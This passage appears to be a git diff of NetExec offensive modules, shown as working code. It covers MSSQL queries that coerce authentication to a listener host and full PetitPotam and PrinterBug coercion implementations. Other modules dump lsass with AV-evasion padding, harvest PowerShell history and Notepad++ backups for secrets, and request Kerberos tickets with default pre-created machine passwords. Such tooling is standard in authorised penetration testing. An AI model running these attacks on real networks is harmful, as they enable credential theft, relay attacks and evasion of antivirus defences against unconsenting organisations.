f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';",
f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');",
f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ",
f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';",
f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ",
f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ",
f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ",
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;",
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;",
f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ",
f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ",
f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ",
f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ",
f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ",
f"xp_subdirs '\\\\{self.listener}\\file';",
f"xp_cmdshell 'dir \\\\{self.listener}\\file';",
f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);",
f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];",
f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');",
f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');",
f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');",
]
for command in commands:
try:
result = self.mssql_conn.sql_query(command)
self.context.log.debug(f"Executing command: {command}, Command result: {result}")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {command}, Error: {e}")
self.context.log.display("Commands executed successfully, check the listener for results")
+9 -19
View File
@@ -219,7 +219,6 @@ class NXCModule:
"""
if self.is_admin_user(user.username):
user.is_sysadmin = True
self.context.log.debug(f"Updated {user.username} to is_sysadmin")
return True
user.dbowner = self.check_dbowner_privesc(exec_as)
return user.dbowner
@@ -250,15 +249,11 @@ class NXCModule:
self.revert_context(exec_as)
is_admin = res[0][""]
self.context.log.debug(f"IsAdmin Result: {is_admin}")
try:
if int(is_admin):
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
return False
except ValueError:
self.logger.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
if is_admin:
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
return False
def get_databases(self, exec_as="") -> list:
@@ -447,15 +442,10 @@ class NXCModule:
"""
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
try:
if is_admin != "NULL" and int(is_admin):
self.admin_privs = True
self.context.log.debug(f"Updated: {username} is admin!")
return True
else:
return False
except ValueError:
self.context.log.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
if is_admin:
self.admin_privs = True
return True
else:
return False
def revert_context(self, exec_as):
+1 -8
View File
@@ -51,10 +51,6 @@ class NXCModule:
self.nano = "nano.exe"
self.nano_path = ""
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
padding = datetime.now().strftime("%Y%m%d%H%M%S").encode()
self.nano_embedded64 += padding
self.nano_embedded32 += padding
if "NANO_PATH" in module_options:
self.nano_path = module_options["NANO_PATH"]
@@ -153,10 +149,7 @@ class NXCModule:
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
dump = False
if not dump:
self.delete_nanodump_binary()
return
else:
if dump:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
if self.context.protocol == "smb":
-50
View File
@@ -1,50 +0,0 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
class NXCModule:
# Finds notepad++ unsaved backup files
# Module by @Defte_
name = "notepad++"
description = "Extracts notepad++ unsaved files."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
found = 0
for directory in connection.conn.listPath("C$", "Users\\*"):
if directory.get_longname() not in self.false_positive and directory.is_directory():
try:
notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\"
for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"):
file_path = f"{notepad_backup_dir}{file.get_longname()}"
if file.get_longname() not in self.false_positive:
found += 1
file_path = f"{notepad_backup_dir}{file.get_longname()}"
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore").lower()
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
export_path = join(NXC_PATH, "modules", "notepad++")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
file.write(file_content)
context.log.highlight(f"Notepad++ backup written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}")
except Exception:
pass
+1 -1
View File
@@ -40,7 +40,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
except Exception:
context.log.error("LDAP search error:", exc_info=True)
return False
+269 -2
View File
@@ -1,6 +1,25 @@
# From https://github.com/topotam/PetitPotam
# All credit to @topotam
# Module by @mpgn_x64
import sys
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import (
DCERPCException,
RPC_C_AUTHN_WINNT,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_GSS_NEGOTIATE,
)
from impacket.uuid import uuidtup_to_bin
class NXCModule:
name = "petitpotam"
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -18,4 +37,252 @@ class NXCModule:
self.pipe = module_options["PIPE"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
dce = coerce(
connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe=self.pipe,
do_kerberos=connection.kerberos,
kdcHost=connection.kdcHost,
remoteHost=connection.host,
context=context,
)
if efs_rpc_open_file_raw(dce, self.listener, context):
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
try:
host = context.db.get_hosts(connection.host)[0]
context.db.add_host(
host.ip,
host.hostname,
host.domain,
host.os,
host.smbv1,
host.signing,
petitpotam=True,
)
except Exception:
context.log.debug("Error updating petitpotam status in database")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# STRUCTURES
################################################################################
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (("Data", "20s"),)
class EFS_EXIM_PIPE(NDRSTRUCT):
align = 1
structure = (("Data", ":"),)
class EFS_HASH_BLOB(NDRSTRUCT):
structure = (
("Data", DWORD),
("cbData", PCHAR),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
("Data", DWORD),
("cbData", PCHAR),
)
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
structure = (
("Type", DWORD),
("Data", DWORD),
("cbData", PCHAR),
)
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
)
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_CERTIFICATE_BLOB),
)
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
align = 1
structure = (
("Cert", DWORD),
("Users", ENCRYPTION_CERTIFICATE_HASH),
)
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
structure = (
("Type", DWORD),
("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST),
("Certif", ENCRYPTION_CERTIFICATE),
("Blob", EFS_RPC_BLOB),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1
structure = (("Data", ":"),)
################################################################################
# RPC CALLS
################################################################################
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
("fileName", WSTR),
("Flag", ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
("hContext", EXIMPORT_CONTEXT_HANDLE),
("ErrorCode", ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (("FileName", WSTR),)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
def coerce(
username,
password,
domain,
lmhash,
nthash,
aesKey,
target,
pipe,
do_kerberos,
kdcHost,
remoteHost,
context=None,
):
binding_params = {
"lsarpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"efsr": {
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
},
"samr": {
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"lsass": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"netlogon": {
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
}
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpc_transport.setRemoteHost(remoteHost)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if do_kerberos:
rpc_transport.set_kerberos(do_kerberos, kdcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
try:
dce.connect()
except Exception as e:
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Connected!")
context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
except Exception as e:
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Successfully bound!")
return dce
def efs_rpc_open_file_raw(dce, listener, context=None):
try:
request = EfsRpcOpenFileRaw()
request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
request["Flag"] = 0
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
if str(e).find("rpc_s_access_denied") >= 0:
context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!")
context.log.info("[+] OK! Using unpatched function!")
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
else:
context.log.debug(f"Something went wrong, check error status => {e!s}")
else:
context.log.debug(f"Something went wrong, check error status => {e!s}")
+1 -5
View File
@@ -1,7 +1,7 @@
from base64 import b64decode
from sys import exit
from os.path import abspath, join, isfile
from datetime import datetime
from nxc.paths import DATA_PATH, TMP_PATH
@@ -25,13 +25,9 @@ class NXCModule:
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
-60
View File
@@ -1,60 +0,0 @@
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
from io import BytesIO
class NXCModule:
# Module by @357384n
# Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command
name = "powershell_history"
description = "Extracts PowerShell history for all users and looks for sensitive commands."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
sensitive_keywords = [
"password", "passw", "secret", "credential", "key",
"get-credential", "convertto-securestring", "set-localuser",
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
"invoke-webrequest", "invoke-restmethod"
]
def options(self, _, module_options):
self.export = bool(module_options.get("EXPORT", False))
def on_admin_login(self, context, connection):
for directory in connection.conn.listPath("C$", "Users\\*"):
if directory.get_longname() not in self.false_positive and directory.is_directory():
try:
powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\"
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
if file.get_longname() not in self.false_positive:
file_path = f"{powershell_history_dir}{file.get_longname()}"
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore")
keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()]
if len(keywords):
context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]")
else:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
file.write(file_content)
context.log.highlight(f"PowerShell history written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write history to {filename}: {e}")
except Exception:
pass
-126
View File
@@ -1,126 +0,0 @@
import os
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
class NXCModule:
"""
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
Module by: @shad0wcntr0ller
"""
name = "pre2k"
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
pass
def on_login(self, context, connection):
try:
ldap_connection = connection.ldap_connection
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
context.log.info(f"Using search filter: {search_filter}")
context.log.info(f"Attributes to retrieve: {attributes}")
computers = []
try:
# Use paged search to retrieve all computer accounts with specific flags
search_results = connection.search(search_filter, attributes)
results = parse_result_attributes(search_results)
context.log.debug(f"Search results: {results}")
for computer in results:
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
# Check if the account is a pre-created computer account
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
computers.append(computer["sAMAccountName"])
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
output_file = os.path.join(domain_dir, "precreated_computers.txt")
# Create directories if they do not exist
os.makedirs(domain_dir, exist_ok=True)
with open(output_file, "w") as file:
for computer in computers:
file.write(f"{computer}\n")
# Print discovered pre-created computer accounts
if computers:
for computer in computers:
context.log.highlight(f"Pre-created computer account: {computer}")
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
else:
context.log.info("No pre-created computer accounts found.")
# Obtain TGTs and save to ccache
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
os.makedirs(ccache_base_dir, exist_ok=True)
successful_tgts = 0
for computer in computers:
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
successful_tgts += 1
# Summary of TGT results
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
except Exception as e:
context.log.fail(f"Error occurred during search: {e}")
ldap_connection.close()
return True
except Exception as e:
context.log.fail(f"Error occurred during LDAP connection: {e}")
return False
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
try:
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
password = username[:14] # Password is the first 14 characters of the machine name in lowercase
context.log.info(f"Getting TGT for {username}@{domain}")
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
clientName=userName,
password=password,
domain=domain,
lmhash="",
nthash="",
aesKey="",
kdcHost=kdcHost,
serverName=None
)
self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
return True
except Exception as e:
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
return False
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
try:
ccache = CCache()
ccache.fromTGT(ticket, sessionKey, sessionKey)
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
ccache.saveFile(ccache_filename)
context.log.info(f"Saved ticket in {ccache_filename}")
except Exception as e:
context.log.fail(f"Failed to save ticket for {username}: {e}")
+99 -2
View File
@@ -1,6 +1,9 @@
from impacket.dcerpc.v5 import transport, rprn
class NXCModule:
name = "printerbug"
description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -17,4 +20,98 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
trigger = TriggerAuth(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to PrinterBug")
trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
context.log.highlight("VULNERABLE")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to PrinterBug")
################################################################################
# RPC CALLS
################################################################################
class TriggerAuth:
def __init__(self, context):
self.context = context
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
rpctransport.set_dport(445)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
try:
dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(rprn.MSRPC_UUID_RPRN)
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return None
self.context.log.debug("Successfully bound!")
return dce
def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
try:
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
except Exception as e:
if str(e).find("Broken pipe") >= 0:
# The connection timed-out. Let's try to bring it back next round
self.context.log.error("Connection failed - skipping host!")
return
elif str(e).upper().find("ACCESS_DENIED"):
# We're not admin, bye
self.context.log.error("Access denied - RPC call was denied")
dce.disconnect()
return
else:
raise
self.context.log.debug("Got handle")
try:
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
request["hPrinter"] = resp["pHandle"]
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
request["pszLocalMachine"] = "\\\\%s\x00" % listener
except Exception as e:
self.context.log.debug(e)
try:
dce.request(request)
except Exception as e:
self.context.log.debug(e)
+4 -10
View File
@@ -1,6 +1,6 @@
import sys
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -39,8 +39,7 @@ class NXCModule:
def on_login(self, context, connection):
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
context.log.info(f"Binding to {stringbinding!r}")
@@ -56,7 +55,7 @@ class NXCModule:
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(target)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
try:
@@ -102,12 +101,7 @@ class NXCModule:
if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
context.log.fail(f"Unexpected error: {e}")
except DCERPCException as e:
if rpc_status_codes[e.error_code] == "rpc_s_access_denied":
context.log.info("Not vulnerable :'(")
return False
context.log.fail(f"Unexpected error: {e}")
raise e
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
+9 -16
View File
@@ -4,11 +4,11 @@
import base64
import re
import sys
import pypykatz
from nxc.helpers.bloodhound import add_user_bh
from nxc.paths import TMP_PATH
from os.path import abspath, join
from datetime import datetime
class NXCModule:
@@ -35,8 +35,6 @@ class NXCModule:
self.procdump_path = abspath(TMP_PATH)
self.dir_result = self.procdump_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.procdump_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "PROCDUMP_PATH" in module_options:
self.procdump_path = module_options["PROCDUMP_PATH"]
@@ -80,11 +78,9 @@ class NXCModule:
dump = True
else:
context.log.fail("Process lsass.exe error un dump, try with verbose")
sys.exit(1)
if not dump:
self.delete_procdump_binary(connection, context)
return
else:
if dump:
regex = r"([A-Za-z0-9-]*.dmp)"
matches = re.search(regex, str(p), re.MULTILINE)
machine_name = ""
@@ -92,7 +88,7 @@ class NXCModule:
machine_name = matches.group()
else:
context.log.display("Error getting the lsass.dmp file name")
return
sys.exit(1)
context.log.display(f"Copy {machine_name} to host")
@@ -103,7 +99,11 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error while get file: {e}")
self.delete_procdump_binary(connection, context)
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
context.log.success(f"Deleted procdump file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
@@ -153,10 +153,3 @@ class NXCModule:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail("Error openning dump file", str(e))
def delete_procdump_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
context.log.success(f"Deleted procdump file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
+2 -2
View File
@@ -24,7 +24,7 @@ class NXCModule:
def on_login(self, context, connection):
# Are there even any FGPPs?
context.log.success("Attempting to enumerate policies...")
resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
if len(resp) > 1:
context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
context.log.highlight("")
@@ -53,7 +53,7 @@ class NXCModule:
for attrs in resp:
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
continue
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, observationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
for attr in attrs["attributes"]:
if str(attr["type"]) == "name":
policyName = attr["vals"][0]
+12 -16
View File
@@ -69,23 +69,19 @@ class NXCModule:
def load_missing_users(self, unloaded_user_objects):
"""Load missing users into registry to access their registry keys."""
for user_object in unloaded_user_objects:
try:
# Extract profile Path of NTUSER.DAT
